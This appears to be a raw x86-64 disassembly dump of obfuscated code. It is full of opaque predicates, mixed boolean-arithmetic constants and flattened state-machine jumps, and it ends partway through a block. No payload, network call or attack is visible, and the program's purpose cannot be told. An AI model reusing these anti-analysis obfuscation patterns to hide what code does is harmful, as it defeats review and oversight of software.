xor eax, 0xbdf6ec16
mov edx, ecx
and edx, eax
xor eax, ecx
or eax, edx
mov ecx, eax
not ecx
and eax, ecx
mov edx, ecx
and edx, eax
xor eax, ecx
or eax, edx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xf408d0a5
and eax, 0xbf72f5a
or eax, edx
xor eax, 0xbf72f5a
or eax, ecx
cmp eax, 0xffffffff
sete dl
setne al
cmp dword [0x14024b724], 9
setg bl
mov ecx, ebx
and cl, al
xor al, bl
or al, cl
mov ecx, ebx
xor cl, dl
not cl
and cl, dl
or bl, dl
mov edx, ebx
xor dl, cl
xor cl, 1
xor dl, 1
or cl, bl
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, 1
mov ebx, ecx
and bl, dl
xor dl, al
xor al, 1
mov r8d, ebx
and r8b, cl
xor bl, cl
or bl, r8b
xor bl, al
or cl, al
xor cl, 1
or cl, dl
mov eax, ecx
xor al, bl
test cl, 1
mov ecx, 0x69f6368b
mov edx, 0x52fc7190
cmovne ecx, edx
test bl, 1
cmove ecx, edx
test al, 1
mov eax, 0x69f6368b
jmp 0x1400ca6f6
cmp ecx, 0xebeb4a9a
je 0x1400cac99
cmp ecx, 0xef1a8aa1
jne 0x1400bca50
mov edx, dword [0x14024b728]
mov eax, dword [0x14024b724]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0x48133b84
mov ebx, ecx
and ebx, 0xb7ecc47a
or ebx, ebp
xor ebx, 0xb7ecc47a
mov ebp, ecx
and ebp, 1
or ebp, ebx
not ebp
and edx, 0xc18b3f66
and ecx, 0x3e74c099
or ecx, edx
xor ecx, 0x3e74c099
mov edx, ebp
and edx, ecx
xor ecx, ebp
or ecx, edx
mov edx, ecx
not edx
and edx, 0x25c4ae5e
and ecx, 0xda3b51a1
or ecx, edx
xor ecx, 0xda3b51a1
setne r8b
sete r10b
cmp eax, 0xa
setl r9b
cmp eax, 9
setg bl
mov edx, ebx
xor dl, r10b
mov ecx, edx
not cl
and cl, r10b
mov eax, ebx
or al, r10b
xor al, 1
mov r11d, ecx
and r11b, al
xor al, cl
or al, r11b
and dl, bl
and r9b, r8b
and bl, r10b
or bl, r9b
mov ecx, edx
and cl, bl
xor bl, dl
or bl, cl
xor al, 1
mov ecx, eax
or cl, bl
xor al, bl
mov edx, ecx
xor dl, al
test dl, 1
mov edx, 0xcc5aeeb4
mov ebp, 0x71740e3e
cmovne edx, ebp
test al, 1
mov eax, edx
mov ebp, 0xcc5aeeb4
cmovne eax, ebp
jmp 0x1400ca811
mov ecx, dword [0x14024b728]
mov r8d, dword [0x14024b724]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0xaeb28da8
and edx, 0x514d7257
or edx, ecx
mov edi, edx
xor edi, 0x41011211
xor edx, 0xaeb28da8
mov ecx, edx
and ecx, 0xb27eecee
and edi, 0x4d811311
or edi, ecx
mov ecx, edi
xor ecx, 0x4d811311
mov ebp, edi
xor ebp, 0x8a49dd82
and ebp, ecx
or edx, 0x3837316c
mov esi, edx
not esi
mov ebx, ebp
not ebx
mov eax, ebx
and eax, 0x2c9d69bb
and ebp, 0xd3629644
or ebp, eax
or ebx, edx
and edx, 0x2c9d69bb
and esi, 0xc3408600
or esi, edx
xor esi, ebp
not ebx
or ebx, esi
mov eax, ebx
not eax
and eax, 0xc7c8ce92
and ebx, 0x3837316d
or ebx, eax
xor edi, 0xb032c4ea
and edi, 0xb4b2c5eb
mov eax, ecx
and eax, 0x4b4d3a14
or eax, edi
xor eax, 0xb4b2c5ea
and ecx, 1
or ecx, eax
not ecx
mov eax, ebx
and eax, ecx
xor ecx, ebx
or ecx, eax
mov eax, ecx
not eax
and eax, 0x6ee94c85
and ecx, 0x9116b37a
or ecx, eax
xor ecx, 0x9116b37a
sete cl
setne r9b
cmp r8d, 0xa
setl dl
cmp r8d, 9
setg al
mov r10d, eax
xor r10b, r9b
mov r8d, r10d
xor r8b, 1
and cl, al
and dl, r9b
or dl, cl
or al, r9b
xor al, 1
or al, r10b
xor al, 1
mov ecx, edx
and cl, al
xor al, dl
or al, cl
mov edx, eax
xor dl, 1
mov ecx, edx
and cl, al
xor dl, cl
xor cl, 1
or cl, al
xor cl, 1
or cl, dl
mov eax, ecx
xor al, 1
mov ebx, r10d
and bl, r8b
mov edx, ebx
xor dl, 1
xor bl, r10b
or dl, r8b
xor dl, 1
or dl, bl
mov ebx, edx
xor bl, 1
and bl, cl
and dl, al
or dl, bl
mov eax, r10d
xor al, cl
or cl, r10b
xor cl, 1
or cl, al
mov eax, ecx
xor al, dl
test cl, 1
mov ecx, 0xd1b3b88
mov ebp, 0x9d67a79d
cmovne ecx, ebp
test dl, 1
cmove ecx, ebp
not al
test al, 1
mov eax, 0xd1b3b88
jmp 0x1400ca4f3
mov edx, dword [0x14024b728]
mov eax, dword [0x14024b724]
lea ecx, [rdx - 1]
imul ecx, edx
mov ebp, ecx
not ebp
mov edx, ebp
and edx, 0x3000022
mov ebx, ecx
and ebx, 0x2042f190
or ebx, edx
xor ebx, 0x2042f190
mov edx, ecx
and edx, 0xdcbd0e4d
or edx, ebx
mov ebx, edx
not ebx
and ebx, 0xcaac996c
and edx, 0x35536693
or edx, ebx
mov ebx, edx
xor ebx, 0x16119720
and ebp, 0xf3429679
and ecx, 0xcbd6986
or ecx, ebp
mov ebp, ecx
xor ebp, 0xcbd6986
xor edx, 0xe9ee68df
and ebp, edx
xor ecx, 0xf3429679
and ecx, ebx
or ecx, ebp
xor edx, ecx
test edx, ecx
sete cl
cmp eax, 0xa
setl r8b
cmp eax, 9
setg r9b
mov eax, r9d
xor al, cl
xor al, 1
or r9b, al
mov r10d, r9d
xor r10b, 1
and al, cl
xor cl, r8b
and cl, r8b
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov eax, ecx
xor al, 1
mov edx, r10d
and dl, r9b
mov ebx, ecx
and bl, al
mov r8d, edx
and r8b, r10b
xor dl, r10b
or dl, r8b
mov r8d, ebx
and r8b, cl
xor bl, cl
or bl, r8b
xor bl, dl
mov ecx, r9d
and cl, al
xor al, r9b
or al, cl
mov ecx, eax
xor cl, bl
test cl, 1
mov edx, 0x1162a375
mov ecx, 0xbff0d306
cmovne edx, ecx
test al, 1
mov ecx, 0x1162a375
jmp 0x1400c78fd
mov ecx, 0x8baeafab
cmp ecx, 0x2ec7e76
jle 0x1400bd420
jmp 0x1400bca5c
mov ecx, dword [0x14024b728]
mov r8d, dword [0x14024b724]
lea edi, [rcx - 1]
imul edi, ecx
mov ecx, edi
not ecx
mov ebp, ecx
and ebp, 0x4e5a7dba
mov edx, edi
and edx, 0xb1a58244
or edx, ebp
mov ebp, edx
xor ebp, 0x31008200
xor edx, 0x4e5a7dbb
mov ebx, edi
xor ebx, 0xfffffffe
and ebx, edi
mov esi, ebx
not esi
mov eax, edx
and eax, 0xc4f519f6
and ebp, 0x3b0ae608
or ebp, eax
or edx, esi
and esi, 0xc4f519f6
and ebx, 0x3b0ae609
or ebx, esi
xor ebx, ebp
not edx
or edx, ebx
mov eax, edx
not eax
mov ebp, eax
and ebp, 0xb78ef451
and edx, 0x48710bae
or edx, ebp
and edi, 0xb78ef451
and ecx, 0x48710bae
or ecx, edi
xor ecx, edx
xor eax, ecx
test eax, ecx
setne al
sete r9b
cmp r8d, 9
setg dl
cmp r8d, 0xa
setl cl
mov ebx, ecx
and al, cl
xor cl, r9b
or bl, r9b
xor bl, 1
or bl, cl
xor bl, 1
and dl, r9b
or al, dl
xor al, bl
mov ecx, eax
not cl
and cl, bl
mov edx, eax
xor dl, cl
test al, al
mov eax, 0x9b0c3e2
mov ebp, 0x8cb16991
cmovne eax, ebp
test cl, cl
mov ecx, 0x9b0c3e2
jmp 0x1400cac7d
mov edx, dword [0x14024b728]
mov eax, dword [0x14024b724]
lea ebx, [rdx - 1]
imul ebx, edx
mov ebp, ebx
not ebp
mov edx, ebp
and edx, 0x1a021041
mov ecx, ebx
and ecx, 0x24450608
or ecx, edx
xor ecx, 0x24450608
mov edx, ebx
xor edx, 0x3e471649
and edx, ebx
mov edi, ecx
and edi, edx
xor edx, ecx
or edx, edi
mov ecx, edx
not ecx
and ecx, 0x9f8c7f02
and edx, 0x607380fd
or edx, ecx
mov ecx, edx
xor ecx, 0x583482b4
and ebp, 0x75aee39e
and ebx, 0x8a511c61
or ebx, ebp
mov ebp, ebx
xor ebp, 0x8500820
xor edx, 0xa1cb694a
mov edi, edx
and edi, 0xa78b5441
and ecx, 0x5874abbe
or ecx, edi
xor ebx, 0x258a4000
and ebx, 0xa78b5441
and ebp, 0x5874abbe
or ebp, ebx
xor ebp, ecx
xor edx, ebp
test edx, ebp
setne cl
sete r8b
cmp eax, 9
setg bl
cmp eax, 0xa
setl dl
mov eax, edx
and cl, dl
xor dl, r8b
or al, r8b
xor al, 1
or al, dl
and bl, r8b
or cl, bl
xor cl, 1
mov edx, eax
or dl, cl
xor cl, al
mov eax, edx
xor al, cl
mov eax, 0x9ec6825f
cmovne eax, r13d
test cl, cl
mov ecx, eax
mov ebp, 0x9ec6825f
cmovne ecx, ebp
test dl, dl
jmp 0x1400ca4f3
mov edx, dword [0x14024b728]
mov r8d, dword [0x14024b724]
lea ebx, [rdx - 1]
imul ebx, edx
mov eax, ebx
not eax
mov ecx, ebx
xor ecx, 0xfffffffe
and ecx, ebx
mov edx, ebx
or edx, 1
mov edi, ecx
not edi
mov esi, edx
and esi, 0xe200bd5a
mov ebp, eax
and ebp, 0x1dff42a4
or ebp, esi
or edx, edi
and edi, 0xe200bd5a
and ecx, 0x1dff42a5
or ecx, edi
xor ecx, ebp
not edx
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0xb616cbd9
and edx, 0x49e93426
or edx, ecx
mov ecx, edx
xor ecx, 0x41003404
xor edx, 0xb616cbd9
mov ebp, edx
and ebp, 0x88fb83bb
and ecx, 0x77047c44
or ecx, ebp
or edx, ebx
and ebx, 0x88fb83bb
and eax, 0x77047c44
or eax, ebx
xor eax, ecx
not edx
or edx, eax
cmp edx, 0xffffffff
sete r9b
setne r11b
cmp r8d, 0xa
setl r10b
cmp r8d, 9
setg al
mov ecx, r11d
xor cl, r9b
and cl, r11b
mov edx, ecx
xor dl, 1
mov ebx, edx
or bl, cl
xor cl, bl
xor cl, 1
or bl, dl
xor bl, 1
or bl, cl
mov ecx, ebx
xor cl, al
and bl, cl
and cl, al
mov edx, ebx
and dl, cl
xor cl, bl
or cl, dl
mov edx, eax
xor dl, r9b
and dl, al
and r10b, r11b
and al, r9b
or al, r10b
xor dl, 1
xor al, 1
mov ebx, edx
xor bl, al
or al, dl
xor al, 1
or al, bl
mov ebx, eax
xor bl, 1
mov edx, ebx
and dl, al
xor bl, dl
xor dl, 1
or dl, al
xor dl, 1
or dl, bl
xor dl, cl
mov eax, edx
xor al, 1
and al, cl
mov ecx, edx
xor cl, al
test dl, 1
mov edx, 0x6d619bb0
mov ebp, 0xab7b8a6a
cmovne edx, ebp
test al, 1
mov eax, 0x6d619bb0
cmove edx, eax
test cl, 1
jmp 0x1400c66db
mov ecx, 0x22884e17
cmp ecx, 0x2ec7e76
jle 0x1400bd420
jmp 0x1400bca5c
mov ecx, dword [0x14024b728]
mov eax, dword [0x14024b724]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0x40828428
mov ebp, edx
and ebp, 0x30101904
or ebp, ecx
xor ebp, 0x30101904
and edx, 0x8f6d62d3
or edx, ebp
mov ecx, edx
not ecx
and ecx, 0x4542f391
and edx, 0xbabd0c6e
or edx, ecx
mov ecx, edx
xor ecx, 0xca2f9142
mov ebp, edx
xor ebp, 0xca2f9143
and ebp, ecx
xor edx, 0x580409d
and edx, 0xcda4c19f
and ecx, 0x325b3e60
or ecx, edx
xor ecx, 0x325b3e61
mov edx, ebp
and edx, ecx
xor ecx, ebp
or ecx, edx
mov ebp, ecx
not ebp
mov edx, ebp
and edx, 0xa4407040
and ecx, 0xa210419
or ecx, edx
mov ebx, ecx
xor ebx, 0x10010
xor ecx, 0xd5522b64
or ebp, 0xae617459
mov edx, ebp
not edx
and ecx, 0xdf722f6d
and ebx, 0x20015010
or ebx, ecx
and ebp, 0xdf722f6d
and edx, 0x8c8082
or edx, ebp
xor edx, ebx
mov ecx, edx
not ecx
and ecx, 0xcdd27499
and edx, 0x322d8b66
or edx, ecx
mov ecx, edx
xor ecx, 0x8404d539
xor edx, 0x63b300c0
mov ebp, edx
and ebp, 0x7b7a2a86
and ecx, 0x8485d579
or ecx, ebp
xor ecx, 0x8485d579
or ecx, edx
cmp ecx, 0xffffffff
sete r9b
setne cl
cmp eax, 0xa
setl r8b
cmp eax, 9
setg al
mov edx, eax
and dl, cl
mov ebx, eax
xor bl, cl
or bl, dl
mov r10d, ebx
xor r10b, 1
xor al, r9b
not al
and al, r9b
xor cl, r8b
not cl
and cl, r8b
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
xor cl, 1
mov eax, ebx
and al, r10b
xor al, 1
mov edx, r10d
xor dl, al
or al, r10b
xor al, 1
or al, dl
xor al, cl
mov edx, ebx
and dl, cl
xor cl, bl
or cl, dl
mov edx, ecx
xor dl, al
test dl, 1
mov edx, 0x1a7e52fa
mov ebp, 0x4da46998
cmovne edx, ebp
test cl, 1
mov ecx, 0x1a7e52fa
jmp 0x1400c5f6d
mov edx, dword [0x14024b728]
mov eax, dword [0x14024b724]
lea ecx, [rdx - 1]
imul ecx, edx
mov ebp, ecx
not ebp
mov edx, ebp
and edx, ecx
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0xe00d77f
and ebp, 0xf1ff2880
or ebp, edi
or ecx, ebx
and ebx, 0xe00d77f
and edx, 0xf1ff2880
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov ebp, ecx
xor ebp, 1
and ebp, ecx
mov edx, ecx
not edx
and edx, 0x82201dc3
and ecx, 0x7ddfe23c
or ecx, edx
mov ebx, ecx
xor ebx, 0x1c088228
mov edx, ebp
not edx
xor ecx, 0x82201dc2
mov edi, edx
and edi, 0x61d77017
and ebp, 0x9e288fe8
or ebp, edi
or edx, ecx
and ecx, 0x61d77017
and ebx, 0x9e288fe8
or ebx, ecx
xor ebx, ebp
not edx
or edx, ebx
mov ecx, edx
not ecx
mov ebp, ecx
and ebp, 0xaaf84fa8
and ecx, edx
and edx, 0x5507b057
or edx, ebp
xor edx, 0x5507b057
mov ebp, edx
and ebp, ecx
xor edx, ecx
or edx, ebp
mov ecx, edx
not ecx
mov ebp, ecx
and ebp, 0x7d87ad72
and edx, 0x8278528d
or edx, ebp
xor edx, 0x7d87ad72
xor ecx, edx
test ecx, edx
sete r10b
setne r9b
cmp eax, 0xa
setl r8b
cmp eax, 9
setg al
mov edx, r9d
xor dl, r10b
and dl, r9b
mov ecx, edx
xor cl, 1
mov ebx, ecx
and bl, dl
xor cl, bl
xor bl, 1
or bl, dl
xor bl, 1
or bl, cl
mov ecx, ebx
and cl, al
xor bl, 1
and bl, r8b
or bl, cl
xor r10b, al
and r10b, al
xor al, r9b
mov ecx, r10d
and cl, al
xor al, r10b
or al, cl
xor al, 1
mov edx, ebx
xor dl, al
or al, bl
xor al, 1
or al, dl
mov ebx, eax
xor bl, dl
test al, 1
mov ecx, 0x3122e3bc
mov eax, 0xdfd7b853
cmovne ecx, eax
test dl, dl
cmove ecx, eax
test bl, 1
mov eax, 0x3122e3bc
jmp 0x1400ca6f6
mov ecx, 0x9d46f634
cmp ecx, 0x2ec7e76
jle 0x1400bd420
jmp 0x1400bca5c
mov ecx, 0x773073bb
cmp ecx, 0x2ec7e76
jle 0x1400bd420
jmp 0x1400bca5c
mov ecx, 0x75a5e553
cmp ecx, 0x2ec7e76
jle 0x1400bd420
jmp 0x1400bca5c
mov ecx, dword [0x14024b728]
mov eax, dword [0x14024b724]
lea ebp, [rcx - 1]
imul ebp, ecx
mov ecx, ebp
not ecx
or ebp, 0xbf3c5a04
mov ebx, ebp
not ebx
or ecx, 0x40c3a5fb
mov edx, ecx
not edx
and ebp, 0x1f7d2f73
and ebx, 0x40828088
or ebx, ebp
and ecx, 0x1f7d2f73
and edx, 0xa0005004
or edx, ecx
xor edx, ebx
mov ecx, edx
not ecx
and ecx, 0xbf3c5a04
and edx, 0x40c3a5fb
or edx, ecx
mov ebp, edx
not ebp
mov ecx, ebp
or ecx, 1
mov ebx, ecx
not ebx
and ebp, 0x307cd907
and edx, 0xcf8326f8
or edx, ebp
mov ebp, edx
xor ebp, 0xcd8020c0
xor edx, 0x307cd906
mov edi, ecx
and edi, 0x22034f3b
and ebx, 0xddfcb0c4
or ebx, edi
or ecx, edx
and edx, 0x22034f3b
and ebp, 0xddfcb0c4
or ebp, edx
xor ebp, ebx
not ecx
or ecx, ebp
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0x9927915a
and edx, ecx
and ecx, 0x66d86ea5
or ecx, ebp
mov ebp, ecx
xor ebp, 0x184c00
xor ecx, 0x9927915a
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0xfec2a2af
and ebp, 0x13d5d50
or ebp, edi
or ecx, ebx
and ebx, 0xfec2a2af
and edx, 0x13d5d50
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
setne r8b
sete bl
cmp eax, 0xa
setl cl
cmp eax, 9
setg al
mov edx, eax
xor dl, bl
or bl, al
or cl, r8b
mov r9d, ecx
xor r9b, bl
or cl, bl
xor cl, 1
or cl, r9b
and dl, al
xor al, r8b
xor dl, 1
xor al, 1
mov ebx, edx
xor bl, al
or al, dl
xor al, 1
or al, bl
mov edx, eax
xor dl, 1
and dl, al
mov ebx, eax
and bl, dl
xor dl, al
or dl, bl
mov ebx, edx
and bl, cl
xor cl, 1
xor dl, 1
and dl, cl
or dl, bl
mov ebx, ecx
and bl, al
xor cl, al
or cl, bl
mov eax, ecx
xor al, dl
test cl, 1
mov ecx, 0x32a58ea9
mov ebp, 0x7a6aa239
cmovne ecx, ebp
test dl, 1
cmove ecx, ebp
test al, 1
mov eax, 0x32a58ea9
jmp 0x1400ca6f6
mov ecx, dword [0x14024b728]
mov eax, dword [0x14024b724]
lea ebp, [rcx - 1]
imul ebp, ecx
mov edx, ebp
mov ecx, ebp
xor ecx, 0xf00234e8
and ecx, ebp
not ebp
and ebp, 0x20022400
and edx, 0xd00010e8
or edx, ebp
xor edx, 0xd00010e8
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0xffdcb17
and ecx, 0xf00234e8
or ecx, edx
mov ebx, ecx
xor ebx, 1
and ebx, ecx
mov ebp, ecx
not ebp
and ebp, 0xd2dd3804
and ecx, 0x2d22c7fb
or ecx, ebp
mov ebp, ecx
xor ebp, 0xa0
mov edx, ebx
not edx
xor ecx, 0xd2dd3805
mov edi, edx
and edi, 0x7fa2c75f
and ebx, 0x805d38a0
or ebx, edi
or edx, ecx
and ecx, 0x7fa2c75f
and ebp, 0x805d38a0
or ebp, ecx
xor ebp, ebx
not edx
or edx, ebp
mov ecx, edx
xor ecx, 0x87ea075c
and ecx, edx
not edx
and edx, 0x87ea075c
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0xadda6cd9
and ecx, 0x52259326
or ecx, edx
mov edx, ecx
xor edx, 0x94c08028
xor ecx, 0x2a306b85
mov ebp, ecx
and ebp, 0x432f5553
and edx, 0xbcd0aaac
or edx, ebp
xor edx, 0x432f5553
xor ecx, edx
test ecx, edx
setne r8b
sete bl
cmp eax, 0xa
setl r11b
cmp eax, 9
setg dl
mov r9d, edx
and r9b, bl
or bl, dl
mov eax, r8d
and al, r11b
or r11b, r8b
mov r10d, r11d
xor r10b, bl
or r11b, bl
xor r11b, 1
or r11b, r10b
or al, r9b
mov ebx, edx
xor bl, r8b
or dl, r8b
xor dl, 1
or dl, bl
mov ebx, edx
xor bl, al
xor al, 1
xor bl, 1
or al, dl
xor al, 1
or al, bl
mov edx, eax
xor dl, 1
and al, dl
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov r8d, eax
xor r8b, 1
mov r10d, r11d
xor r10b, 1
mov ecx, r10d
and cl, r11b
mov edx, r8d
and dl, al
mov r9d, r10d
and r9b, cl
xor cl, r10b
or cl, r9b
mov r9d, r8d
and r9b, dl
xor dl, r8b
or dl, r9b
mov ebx, ecx
xor bl, 1
and bl, dl
xor dl, 1
and dl, cl
or dl, bl
xor r10b, r8b
or al, r11b
xor al, 1
or al, r10b
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x6d581f7a
mov ebp, 0xb4c2b9fb
cmovne ecx, ebp
test al, 1
mov eax, 0x6d581f7a
jmp 0x1400bca41
mov ecx, dword [0x14024b728]
mov eax, dword [0x14024b724]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0xb9c68a55
and edx, 0x463975aa
or edx, ecx
mov ecx, edx
xor ecx, 0x44096520
xor edx, 0x90c28014
and edx, 0x92f2909e
and ecx, 0x6d0d6f61
or ecx, edx
mov ebp, ecx
xor ebp, 0x92f2909e
mov ebx, ecx
xor ebx, 0x6d0d6f61
mov edx, ecx
xor edx, 0x2767aa5e
mov edi, edx
and edi, ebx
and edx, ebp
mov ebp, edi
and ebp, edx
xor edx, edi
or edx, ebp
mov ebp, edx
not ebp
and ebp, 0x4a6ac53e
and edx, 0xb5953ac1
or edx, ebp
and ebx, 1
xor ecx, 0x6d0d6f60
or ecx, ebx
mov ebp, ecx
not ebp
and ebp, 0x397e68b1
and ecx, 0xc681974e
or ecx, ebp
mov ebx, ecx
xor ebx, 0xc6018408
mov ebp, edx
not ebp
xor ecx, 0x397e68b1
mov edi, ebp
and edi, 0x29885b57
and edx, 0xd677a4a8
or edx, edi
or ebp, ecx
and ecx, 0x29885b57
and ebx, 0xd677a4a8
or ebx, ecx
xor ebx, edx
not ebp
or ebp, ebx
mov ecx, ebp
mov edx, ebp
xor edx, 0x97cfe3cb
and edx, ebp
not ebp
and ebp, 0x9700814b
and ecx, 0xcf6280
or ecx, ebp
xor ecx, 0xcf6280
mov ebp, ecx
and ebp, edx
xor edx, ecx
or edx, ebp
mov ecx, edx
not ecx
and ecx, 0x5fb4e687
and edx, 0xa04b1978
or edx, ecx
mov ecx, edx
xor ecx, 0x360412b1
xor edx, 0xc87b054c
mov ebp, edx
and ebp, 0x41f0e806
and ecx, 0xbe0f17f9
or ecx, ebp
xor ecx, 0x41f0e806
xor edx, ecx
test edx, ecx
sete r8b
setne r9b
cmp eax, 0xa
setl dl
cmp eax, 9
setg cl
mov eax, r9d
xor al, cl
mov ebx, eax
and bl, r9b
and al, cl
xor bl, 1
xor al, 1
mov r10d, ebx
xor r10b, al
or al, bl
xor al, 1
or al, r10b
and r9b, dl
or dl, r8b
xor dl, 1
and cl, r8b
or cl, r9b
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
xor cl, al
and al, cl
mov edx, ecx
xor dl, al
test cl, 1
mov ecx, 0x3ea36c82
mov ebp, 0x4f6f7846
cmovne ecx, ebp
test al, 1
cmove ecx, ebp
not dl
test dl, 1
mov eax, 0x3ea36c82
jmp 0x1400ca4f3
mov edx, dword [0x14024b728]
mov r8d, dword [0x14024b724]
lea ecx, [rdx - 1]
imul ecx, edx
mov esi, ecx
not esi
mov ebp, esi
or ebp, 0x8c08718
mov edx, ebp
not edx
mov edi, ecx
or edi, 0x122748a7
and edi, 0x1227cabf
mov ebx, esi
and ebx, 0x8c00500
or ebx, edi
and ebp, 0x1227cabf
and edx, 0xe5183040
or edx, ebp
xor edx, ebx
mov ebp, edx
not ebp
and ebp, 0xf73f78e6
and edx, 0x8c08719
or edx, ebp
mov ebp, edx
not ebp
and ebp, 0x9ba256f9
and edx, 0x645da906
or edx, ebp
xor edx, 0x645da906
and esi, 0x92a5e12b
and ecx, 0x6d5a1ed4
or ecx, esi
xor ecx, 0x6d5a1ed4
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0x46a0f4f
and ecx, 0xfb95f0b0
or ecx, edx
xor ecx, 0xfb95f0b0
sete r9b
setne bl
cmp r8d, 9
setg al
cmp r8d, 0xa
setl cl
and bl, cl
mov r8d, eax
and r8b, r9b
or r8b, bl
xor al, r9b
xor al, 1
mov ebx, ecx
and bl, r9b
xor cl, r9b
or cl, bl
xor cl, 1
mov ebx, eax
and bl, cl
xor cl, al
or cl, bl
mov eax, ecx
xor al, 1
and cl, al
mov ebx, eax
and bl, cl
xor cl, al
or cl, bl
mov eax, r8d
xor al, 1
and al, cl
xor cl, 1
mov edx, r8d
xor dl, cl
and dl, r8b
and cl, r8b
or cl, al
mov eax, edx
xor al, cl
test al, 1
mov eax, 0x63e4b718
mov ebp, 0x773073bb
jmp 0x1400ca6ea
mov ecx, 0x7676465f
cmp ecx, 0x2ec7e76
jle 0x1400bd420
jmp 0x1400bca5c
mov ecx, dword [0x14024b728]
mov r8d, dword [0x14024b724]
lea edi, [rcx - 1]
imul edi, ecx
mov ecx, edi
not ecx
mov ebp, ecx
and ebp, 0xa0b10c59
mov edx, edi
and edx, 0x5f4ef3a6
or edx, ebp
mov ebp, edx
xor ebp, 0x7001022
xor edx, 0xa0b10c58
mov ebx, edi
xor ebx, 0xfffffffe
and ebx, edi
or edx, 1
mov esi, ebx
not esi
mov eax, edx
and eax, 0x78efebcd
and ebp, 0x87101432
or ebp, eax
or edx, esi
and esi, 0x78efebcd
and ebx, 0x87101432
or ebx, esi
xor ebx, ebp
not edx
or edx, ebx
mov ebp, edx
not ebp
mov eax, ebp
and eax, 0x5f42a155
and edx, 0xa0bd5eaa
or edx, eax
and edi, 0x5f42a155
and ecx, 0xa0bd5eaa
or ecx, edi
xor ecx, edx
not ecx
or ecx, ebp
cmp ecx, 0xffffffff
sete cl
setne al
cmp r8d, 9
setg r9b
cmp r8d, 0xa
setl r8b
mov edx, r8d
xor dl, al
mov ebx, edx
xor bl, r9b
and bl, dl
and al, r8b
and cl, r9b
or cl, al
xor bl, 1
mov eax, ecx
xor al, 1
and cl, al
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
xor cl, bl
mov edx, ebx
and dl, al
xor al, bl
or al, dl
mov edx, eax
xor dl, cl
test al, al
mov eax, 0xf258dc30
mov ebp, 0x5457f1e4
cmovne eax, ebp
test cl, 1
cmove eax, ebp
test dl, 1
mov ecx, 0xf258dc30
jmp 0x1400bca47
mov eax, dword [0x14024b728]
lea ebp, [rax - 1]
imul ebp, eax
mov eax, ebp
not eax
mov edx, eax
and edx, 0x85b119b6
mov ecx, ebp
and ecx, 0x7a4ee648
or ecx, edx
xor ecx, 0x7a4ee648
mov edx, ebp
and edx, 1
or edx, ecx
mov ecx, edx
not ecx
and eax, ecx
and edx, ebp
or edx, eax
xor ecx, edx
test ecx, edx
sete al
setne r8b
cmp dword [0x14024b724], 0xa
setl cl
mov edx, ecx
xor dl, r8b
xor dl, 1
mov ebx, ecx
or bl, al
xor bl, 1
or bl, dl
or r8b, cl
xor al, cl
and al, cl
mov ecx, r8d
xor cl, al
xor al, 1
xor cl, 1
or al, r8b
xor al, 1
or al, cl
mov ecx, eax
xor cl, bl
xor bl, 1
mov edx, eax
xor dl, bl
xor cl, 1
or bl, al
xor bl, 1
or bl, cl
mov eax, ebx
xor al, dl
test bl, 1
mov ecx, 0x9661fa5e
mov ebp, 0xe3f9f842
cmovne ecx, ebp
test dl, 1
cmove ecx, ebp
test al, 1
mov eax, 0x9661fa5e
jmp 0x1400ca6f6
mov ecx, 0x4ca468
cmp ecx, 0x2ec7e76
jle 0x1400bd420
jmp 0x1400bca5c
mov edx, dword [0x14024b728]
mov eax, dword [0x14024b724]
lea ebp, [rdx - 1]
imul ebp, edx
mov esi, ebp
not esi
mov edx, esi
and edx, 0xc825a940
mov ecx, ebp
and ecx, 0x27125202
or ecx, edx
mov edi, ecx
xor edi, 0x1000
xor ecx, 0xc8ec285d
mov ebx, esi
or ebx, 0xef37fb42
mov edx, ebx
not edx
and ecx, 0xeffe6a5f
and edi, 0x19100
or edi, ecx
and ebx, 0xeffe6a5f
and edx, 0x100004a0
or edx, ebx
xor edx, edi
mov ecx, edx
not ecx
and ecx, 0x10c804bc
and edx, 0xef37fb43
or edx, ecx
and esi, 0xce6ce9a8
and ebp, 0x31931657
or ebp, esi
mov ecx, ebp
xor ecx, 0x11654
mov edi, edx
not edi
mov ebx, edi
and ebx, 0x73b2e00b
and edx, 0x8c4d1ff4
or edx, ebx
xor ebp, 0x4220e008
and ebp, 0x73b2e00b
and ecx, 0x8c4d1ff4
or ecx, ebp
xor ecx, edx
not ecx
or ecx, edi
cmp ecx, 0xffffffff
sete r8b
setne bl
cmp eax, 0xa
setl cl
cmp eax, 9
setg al
mov edx, ebx
and dl, al
or bl, cl
and cl, r8b
or cl, dl
xor cl, 1
or cl, al
mov r9d, ecx
xor r9b, 1
xor bl, 1
or al, r8b
xor al, 1
mov edx, ebx
and dl, al
xor al, bl
or al, dl
mov r8d, eax
xor r8b, 1
mov edx, eax
and dl, r8b
mov ebx, edx
xor bl, 1
xor dl, al
or bl, r8b
xor bl, 1
or bl, dl
and cl, bl
xor bl, 1
and bl, r9b
or bl, cl
mov ecx, r9d
xor cl, al
or al, r9b
xor al, 1
or al, cl
mov edx, eax
xor dl, bl
test al, 1
mov ecx, 0xd4caecba
mov eax, 0x4ce2ea0d
cmovne ecx, eax
test bl, 1
cmove ecx, eax
test dl, 1
mov eax, 0xd4caecba
jmp 0x1400ca6f6
mov edx, dword [0x14024b728]
mov eax, dword [0x14024b724]
lea ecx, [rdx - 1]
imul ecx, edx
